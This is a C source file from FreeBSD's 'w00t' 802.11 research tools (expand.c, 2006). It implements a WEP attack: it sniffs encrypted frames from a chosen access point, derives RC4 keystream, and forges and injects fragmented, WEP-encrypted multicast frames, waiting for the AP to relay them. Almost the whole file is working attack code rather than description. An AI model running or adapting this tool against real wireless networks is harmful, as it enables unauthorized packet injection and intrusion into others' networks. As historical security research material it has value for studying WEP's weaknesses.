1 /*-
2  * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
3  * All rights reserved.
4  *
5  * Redistribution and use in source and binary forms, with or without
6  * modification, are permitted provided that the following conditions
7  * are met:
8  * 1. Redistributions of source code must retain the above copyright
9  *    notice, this list of conditions and the following disclaimer.
10  * 2. Redistributions in binary form must reproduce the above copyright
11  *    notice, this list of conditions and the following disclaimer in the
12  *    documentation and/or other materials provided with the distribution.
13  *
14  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
24  * SUCH DAMAGE.
25  *
26  * $FreeBSD: src/tools/tools/net80211/w00t/expand/expand.c,v 1.2 2009/07/24 15:31:22 sam Exp $
27  */
28 #include <sys/time.h>
29 #include <sys/types.h>
30 #include <sys/socket.h>
31 #include <sys/uio.h>
32 #include <netinet/in.h>
33 #include <arpa/inet.h>
34 #include <netinet/in_systm.h>
35 #include <netinet/ip.h>
36 #include <string.h>
37 #include <stdio.h>
38 #include <stdlib.h>
39 #include <unistd.h>
40 #include <fcntl.h>
41 #include <err.h>
42 #include <assert.h>
43 #include <zlib.h>
44 #include "w00t.h"
45 
46 enum {
47 	S_START = 0,
48 	S_WAIT_RELAY,
49 };
50 
51 struct queue {
52 	struct ieee80211_frame *wh;
53 	int len;
54 
55 	char *buf;
56 	int live;
57 	struct queue *next;
58 };
59 
60 struct params {
61 	int rx;
62 	int tx;
63 
64 	int tap;
65 
66 	char mcast[5];
67 	char mac[6];
68 	char ap[6];
69 
70 	char prga[2048];
71 	int prga_len;
72 
73 	int state;
74 
75 	struct queue *q;
76 
77 	char packet[2048];
78 	int packet_len;
79 	struct timeval last;
80 
81 	int seq;
82 
83 	unsigned char guess;
84 };
85 
86 int wanted(struct params *p, struct ieee80211_frame *wh, int len)
87 {
88 	char *bssid, *sa;
89 
90 	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
91 		bssid = wh->i_addr1;
92 		sa = wh->i_addr2;
93 	}
94 	else {
95 		bssid = wh->i_addr2;
96 		sa = wh->i_addr3;
97 	}
98 
99 	if (memcmp(bssid, p->ap, 6) != 0)
100 		return 0;
101 
102 	if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
103 		printf("Got non WEP packet...\n");
104 		return 0;
105 	}
106 
107 	/* my own shit */
108 	if (memcmp(p->mac, sa, 6) == 0)
109 		return 0;
110 
111 	return 1;
112 }
113 
114 void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len)
115 {
116 	struct queue *q = p->q;
117 	int qlen = 0;
118 	char *ret = NULL;
119 	struct queue *last = NULL;
120 
121 	/* find a slot */
122 	while (q) {
123 		if (q->live)
124 			qlen++;
125 		else {
126 			/* recycle */
127 			ret = q->buf;
128 			break;
129 		}
130 
131 		last = q;
132 		q = q->next;
133 	}
134 
135 	/* need to create slot */
136 	if (!q) {
137 		q = (struct queue*) malloc(sizeof(*q));
138 		if (!q)
139 			err(1, "malloc()");
140 		memset(q, 0, sizeof(*q));
141 
142 		/* insert */
143 		if (!p->q)
144 			p->q = q;
145 		else {
146 			assert(last);
147 			last->next = q;
148 		}
149 	}
150 
151 	q->live = 1;
152 	q->buf = *buf;
153 	q->len = len;
154 	q->wh = wh;
155 
156 	qlen++;
157 
158 	if (qlen > 5)
159 		printf("Enque.  Size: %d\n", qlen);
160 	*buf = ret;
161 }
162 
163 void send_packet(struct params *p)
164 {
165         int rc;
166 
167         rc = inject(p->tx, p->packet, p->packet_len);
168         if (rc == -1)
169                 err(1, "inject()");
170         if (rc != p->packet_len) {
171                 printf("Wrote %d/%d\n", rc, p->packet_len);
172                 exit(1);
173         }
174 
175         if (gettimeofday(&p->last, NULL) == -1)
176                 err(1, "gettimeofday()");
177 }
178 #include <openssl/rc4.h>
179 void send_mcast(struct params *p, unsigned char x)
180 {
181 	struct ieee80211_frame *wh;
182 	short *seq;
183 	struct queue *q = p->q;
184 	char *data, *ptr;
185 	int len;
186 	uLong crc = crc32(0L, Z_NULL, 0);
187 	uLong *pcrc;
188 	int i;
189 	int need_frag = 0;
190 	char payload[10] = "\xAA\xAA\x03\x00\x00\x00\x08\x06\x00\x00";
191 
192 	assert(q);
193 
194 	/* 802.11 */
195 	memset(p->packet, 0, sizeof(p->packet));
196 	wh = (struct ieee80211_frame*) p->packet;
197 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
198 	wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
199 	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
200 	wh->i_fc[1] |= IEEE80211_FC1_WEP;
201 
202 	wh->i_dur[0] = 0x69;
203 
204 	memcpy(wh->i_addr1, p->ap, 6);
205 	memcpy(wh->i_addr2, p->mac, 6);
206 	memcpy(wh->i_addr3, p->mcast, 5);
207 	wh->i_addr3[5] = x;
208 
209 	seq = (short*) wh->i_seq;
210 	*seq = seqfn(p->seq++, 0);
211 
212 	/* IV */
213 	data = (char*) (wh+1);
214 	ptr = (char*) (q->wh+1);
215 	memcpy(data, ptr, 3);
216 
217 	if (p->prga_len == 0) {
218 
219 		RC4_KEY k;
220 		unsigned char key[8];
221 
222 		memset(&key[3], 0x61, 5);
223 		memcpy(key, (q->wh+1), 3);
224 		p->prga_len = 128;
225 
226 		RC4_set_key(&k, 8, key);
227 		memset(p->prga, 0, sizeof(p->prga));
228 		RC4(&k, p->prga_len, p->prga, p->prga);
229 
230 
231 #if 0
232 		int ptl = q->len;
233 		char *pt;
234 
235 		pt = known_pt(q->wh, &ptl);
236 		ptr += 4;
237 		p->prga_len = ptl;
238 		for (i = 0; i < p->prga_len; i++)
239 			p->prga[i] = ptr[i] ^ pt[i];
240 #endif
241 	}
242 
243 	/* data */
244 	data += 4;
245 	memcpy(data, payload, sizeof(payload));
246 	p->prga_len = 12;
247 	len = p->prga_len + 1 - 4;
248 
249 #if 1
250 	if (len < sizeof(payload)) {
251 		need_frag = len;
252 		wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
253 	}
254 #endif
255 
256 	/* crc */
257 	pcrc = (uLong*) (data+len);
258 	*pcrc = crc32(crc, data, len);
259 
260 	/* wepify */
261 	len += 4;
262 	for (i = 0; i < (len); i++) {
263 		assert( i <= p->prga_len);
264 		data[i] ^= p->prga[i];
265 	}
266 //	data[i] ^= x;
267 
268 	len += sizeof(*wh);
269 	p->packet_len = len + 4;
270 	send_packet(p);
271 
272 	/* the data we sent is too fucking short */
273 	if (need_frag) {
274 		memset(data, 0, len);
275 
276 		/* 802.11 */
277 		*seq = seqfn(p->seq-1, 1);
278 		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
279 
280 		/* data */
281 		len = sizeof(payload) - need_frag;
282 		assert(len > 0 && len <= (p->prga_len - 4));
283 		memcpy(data, &payload[need_frag], len);
284 
285 		/* crc */
286 		crc = crc32(0L, Z_NULL, 0);
287 		len = p->prga_len - 4;
288 		pcrc = (uLong*) (data+len);
289 		*pcrc = crc32(crc, data, len);
290 
291 		/* wepify */
292 		len += 4;
293 		for (i = 0; i < len; i++) {
294 			assert( i < p->prga_len);
295 			data[i] ^= p->prga[i];
296 		}
297 
298 		len += sizeof(*wh) + 4;
299 		p->packet_len = len;
300 		send_packet(p);
301 	}
302 }
303 
304 void send_queue(struct params *p)
305 {
306 	struct queue *q = p->q;
307 	int i;
308 
309 	assert(q);
310 	assert(q->live);
311 
312 	for (i = 0; i < 5; i++) {
313 		send_mcast(p, p->guess++);
314 	}
315 
316 	p->state = S_WAIT_RELAY;
317 }
318 
319 void got_mcast(struct params *p, struct ieee80211_frame *wh, int len)
320 {
321 	printf("ao\n");
322 }
323 
324 void read_wifi(struct params *p)
325 {
326 	static char *buf = NULL;
327 	static int buflen = 4096;
328 	struct ieee80211_frame *wh;
329 	int rc;
330 
331 	if (!buf) {
332 		buf = (char*) malloc(buflen);
333 		if (!buf)
334 			err(1, "malloc()");
335 	}
336 
337 	rc = sniff(p->rx, buf, buflen);
338 	if (rc == -1)
339 		err(1, "sniff()");
340 
341 	wh = get_wifi(buf, &rc);
342 	if (!wh)
343 		return;
344 
345 	/* relayed macast */
346 	if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
347 		       IEEE80211_FC0_SUBTYPE_DATA) &&
348 	    (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
349 	    (memcmp(wh->i_addr2, p->ap, 6) == 0) &&
350 	    (memcmp(wh->i_addr1, p->mcast, 5) == 0) &&
351 	    (memcmp(p->mac, wh->i_addr3, 6) == 0)) {
352 		got_mcast(p, wh, rc);
353 		return;
354 	}
355 
356 	/* data */
357 	if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
358 		       IEEE80211_FC0_SUBTYPE_DATA)) {
359 		if (!wanted(p, wh, rc))
360 			return;
361 
362 		enque(p, &buf, wh, rc);
363 		if (p->state == S_START)
364 			send_queue(p);
365 		return;
366 	}
367 }
368 
369 void own(struct params *p)
370 {
371 	struct timeval tv;
372 	struct timeval *to = NULL;
373 	fd_set fds;
374 	int tout = 10*1000;
375 
376 	if (p->state == S_WAIT_RELAY) {
377 		int el;
378 
379 		/* check timeout */
380 		if (gettimeofday(&tv, NULL) == -1)
381 			err(1, "gettimeofday()");
382 
383 		el = elapsed(&p->last, &tv);
384 
385 		/* timeout */
386 		if (el >= tout) {
387 			if (p->q && p->q->live) {
388 				send_queue(p);
389 				el = 0;
390 			} else {
391 				p->state = S_START;
392 				return;
393 			}
394 		}
395 		el = tout - el;
396 		tv.tv_sec = el/1000/1000;
397 		tv.tv_usec = el - tv.tv_sec*1000*1000;
398 		to = &tv;
399 	}
400 
401 	FD_ZERO(&fds);
402 	FD_SET(p->rx, &fds);
403 
404 	if (select(p->rx+1, &fds, NULL, NULL, to) == -1)
405 		err(1, "select()");
406 
407 	if (FD_ISSET(p->rx, &fds))
408 		read_wifi(p);
409 }
410 
411 void usage(char *name)
412 {
413 	printf("Usage %s <opts>\n"
414 	       "-h\thelp\n"
415 	       "-b\t<bssid>\n"
416 	       "-t\t<tap>\n"
417 	       , name);
418 	exit(1);
419 }
420 
421 int main(int argc, char *argv[])
422 {
423 	struct params p;
424 	char *iface = "wlan0";
425 	char *tap = "tap0";
426 	int ch;
427 
428 	memset(&p, 0, sizeof(p));
429 	memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6);
430 	p.seq = getpid();
431 	memcpy(p.mcast, "\x01\x00\x5e\x00\x00", 5);
432 
433 	while ((ch = getopt(argc, argv, "hb:t:")) != -1) {
434 		switch (ch) {
435 		case 't':
436 			tap = optarg;
437 			break;
438 
439 		case 'b':
440 			if (str2mac(p.ap, optarg) == -1) {
441 				printf("Can't parse BSSID\n");
442 				exit(1);
443 			}
444 			break;
445 
446 		case 'h':
447 		default:
448 			usage(argv[0]);
449 			break;
450 		}
451 	}
452 
453 	if ((p.rx = open_rx(iface)) == -1)
454 		err(1, "open_rx()");
455 	if ((p.tx = open_tx(iface)) == -1)
456 		err(1, "open_tx()");
457 
458 	if ((p.tap = open_tap(tap)) == -1)
459 		err(1, "open_tap()");
460 	if (set_iface_mac(tap, p.mac) == -1)
461 		err(1, "set_iface_mac()");
462 
463 	p.state = S_START;
464 	while (1)
465 		own(&p);
466 
467 	exit(0);
468 }
469